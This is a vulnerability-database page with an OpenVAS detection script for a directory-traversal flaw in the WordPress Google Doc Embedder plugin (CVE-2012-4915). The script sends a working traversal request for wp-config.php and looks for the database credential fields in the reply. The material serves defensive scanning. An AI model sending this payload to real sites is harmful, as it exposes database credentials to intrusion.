Lucene search

K
openvasCopyright (C) 2013 Greenbone AGOPENVAS:1361412562310103637
HistoryJan 08, 2013 - 12:00 a.m.

WordPress Google Doc Embedder Plugin Arbitrary File Disclosure Vulnerability

2013-01-0800:00:00
Copyright (C) 2013 Greenbone AG
plugins.openvas.org
22

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

6.5 Medium

AI Score

Confidence

Low

0.911 High

EPSS

Percentile

98.9%

The Google Doc Embedder Plugin for WordPress is prone to an arbitrary
file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103637");
  script_cve_id("CVE-2012-4915");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_version("2023-07-27T05:05:08+0000");

  script_name("WordPress Google Doc Embedder Plugin Arbitrary File Disclosure Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/57133");

  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-01-08 14:00:15 +0100 (Tue, 08 Jan 2013)");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for more
  information.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"The Google Doc Embedder Plugin for WordPress is prone to an arbitrary
  file-disclosure vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"A remote attacker can use directory-traversal sequences to retrieve
  arbitrary files in the context of the affected application.");

  script_tag(name:"affected", value:"Google Doc Embedder 2.4.6 is vulnerable, other versions may also be affected.");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

vtstrings = get_vt_strings();
filename = vtstrings["lowercase_rand"] + '.pdf';

url = dir + '/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=' + filename  + '&file=../../../../wp-config.php';
if(http_vuln_check(port:port, url:url, pattern:"DB_NAME", extra_check:make_list("DB_USER","DB_PASSWORD","DB_HOST"))) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

6.5 Medium

AI Score

Confidence

Low

0.911 High

EPSS

Percentile

98.9%